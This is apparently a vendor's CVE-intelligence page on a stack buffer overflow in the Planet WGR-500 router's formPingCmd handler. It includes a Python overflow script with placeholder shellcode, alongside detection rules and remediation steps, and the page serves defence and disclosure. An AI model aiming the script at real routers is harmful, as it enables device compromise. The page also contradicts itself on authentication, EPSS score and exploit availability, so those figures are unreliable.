☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-121
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54401

CVE-2025-54401 Stack Buffer Overflow in Planet
📅 PUBLISHED: 2025-10-07 13:55 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.73%
👁️
0.73% probability
18.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54401 is a critical stack-based buffer overflow vulnerability affecting the Planet WGR-500 router, specifically firmware version v1.3411b190912. The flaw resides in the formPingCmd functionality, where the submit-url request parameter is processed without proper bounds checking. An unauthenticated attacker can send a series of specially crafted HTTP requests to trigger a stack-based buffer overflow, leading to arbitrary code execution, denial of service, or complete device compromise. With a CVSS score of 8.8, this vulnerability poses a severe threat to network infrastructure, especially given the lack of a known patch. The EPSS score of 0.0% suggests low exploitation likelihood currently, but the high impact and ease of exploitation make it a priority for defenders.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.8 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – Full data access possible.
  • Integrity Impact: High (I:H) – Full control over device.
  • Availability Impact: High (A:H) – Device can be crashed or rendered unusable.

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and the affected device is a network gateway, making it a prime target for botnets, ransomware, or espionage.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the formPingCmd CGI handler of the Planet WGR-500 router's web interface. The submit-url parameter is copied into a fixed-size stack buffer without validation of its length. By sending an HTTP POST request to the vulnerable endpoint with an overly long submit-url value, an attacker can overwrite the return address and other critical stack data.

Root Cause: The firmware uses unsafe C functions (e.g., strcpy, sprintf) to handle user-supplied input in the formPingCmd function. The buffer allocated on the stack is insufficient for the maximum allowed input length, leading to overflow.

Attack Flow:

  1. Attacker sends a crafted HTTP POST request to /goform/formPingCmd with a malicious submit-url parameter.
  2. The router's web server parses the request and passes the parameter to the vulnerable function.
  3. The function copies the parameter into a stack buffer without bounds checking.
  4. The overflow corrupts the stack, allowing the attacker to control the program counter.
  5. With a ROP chain or shellcode, the attacker achieves arbitrary code execution.

Impact: Full device compromise, including ability to modify routing tables, intercept traffic, launch further attacks, or add the device to a botnet.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable function:

Vulnerable Code (C):

void formPingCmd() {
    char submit_url[256];
    char *url = get_param("submit-url");
    strcpy(submit_url, url); // No bounds check
    // ... rest of function
}

Patched Code (Hypothetical):

void formPingCmd() {
    char submit_url[256];
    char *url = get_param("submit-url");
    if (strlen(url) >= sizeof(submit_url)) {
        // Log error and return
        return;
    }
    strncpy(submit_url, url, sizeof(submit_url) - 1);
    submit_url[sizeof(submit_url) - 1] = '\0';
    // ... rest of function
}

The patch would involve using strncpy with proper length checking or switching to dynamic allocation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target: Planet WGR-500 router with firmware v1.3411b190912.
  • Network access to the router's web interface (typically port 80 or 443).
  • No authentication required.

Exploit Concept: Since no public exploit exists, a custom exploit must be developed. The following Python script demonstrates the overflow:

import socket

target_ip = "192.168.1.1"
port = 80

# Craft payload: overflow buffer + return address + shellcode
buffer_size = 256  # Hypothetical buffer size
overflow = b"A" * buffer_size
# Replace with actual ROP chain or shellcode
return_address = b"\x00\x00\x00\x00"  # Placeholder
shellcode = b"\x90" * 100  # NOP sled + shellcode placeholder

payload = b"submit-url=" + overflow + return_address + shellcode

http_request = (
    b"POST /goform/formPingCmd HTTP/1.1\r\n"
    b"Host: " + target_ip.encode() + b"\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
    b"\r\n"
    b"submit-url=" + overflow + return_address + shellcode
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, port))
sock.send(http_request)
response = sock.recv(4096)
print(response)
sock.close()

Note: This is a conceptual example. Actual exploitation requires reverse engineering the firmware to determine exact buffer size, offset to return address, and bypassing any mitigations (e.g., ASLR, NX).

Blue Team (Defense)

Detection:

  • Monitor HTTP requests to /goform/formPingCmd with abnormally long submit-url parameters.
  • Use network intrusion detection systems (NIDS) to flag requests with payloads exceeding expected lengths.
  • Enable logging on the router (if possible) to capture anomalous POST requests.

Mitigation:

  • Isolate affected devices on a separate VLAN.
  • Apply virtual patching via WAF or IPS rules.
  • Monitor for signs of compromise (e.g., unexpected outbound connections, configuration changes).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /goform/formPingCmd with submit-url parameter longer than 256 bytes.
    • Unusual outbound connections from the router to unknown IPs on non-standard ports.
    • Repeated HTTP 500 errors from the router's web interface.
  • Host IOCs:

    • Unexpected processes running on the router (if accessible via shell).
    • Modified firmware or configuration files.
    • Presence of shellcode or ROP gadgets in memory.
  • File IOCs:

    • None specific, as the vulnerability is memory-based.

Detection Engineering

YARA Rule

rule CVE_2025_54401_Planet_WGR500_Overflow {
    meta:
        description = "Detects HTTP requests targeting the formPingCmd buffer overflow in Planet WGR-500"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-54401"
    strings:
        $http_method = "POST"
        $uri = "/goform/formPingCmd"
        $param = "submit-url="
        $long_param = /submit-url=[A-Za-z0-9%]{257,}/  // 257+ characters
    condition:
        $http_method and $uri and $param and $long_param
}

Sigma Rule

title: CVE-2025-54401 - Planet WGR-500 formPingCmd Buffer Overflow Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests with overly long submit-url parameter targeting Planet WGR-500 routers.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formPingCmd'
        cs-uri-query|contains: 'submit-url='
        cs-uri-query|length: >= 300
    condition: selection
falsepositives:
    - Legitimate long URLs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54401 - Planet WGR-500 formPingCmd Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formPingCmd"; http_uri; content:"submit-url="; http_client_body; pcre:"/submit-url=.{257,}/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place Planet WGR-500 routers on a separate VLAN with strict access controls.
  2. Disable remote management: If not required, disable the web interface or restrict access to trusted IPs.
  3. Monitor logs: Enable and review router logs for anomalous HTTP requests.

Long-term Fix:

  • Vendor patch: Await an official firmware update from Planet. Contact vendor support for status.
  • Workaround: If patching is not possible, consider replacing the device with a supported alternative.
  • Virtual patching: Deploy a WAF or IPS with custom rules to block oversized submit-url parameters.

Compromise Assessment:

  • Check for unauthorized configuration changes.
  • Scan for backdoors or persistent access mechanisms.
  • Reset device to factory defaults and update firmware if a patch becomes available.

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54401/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.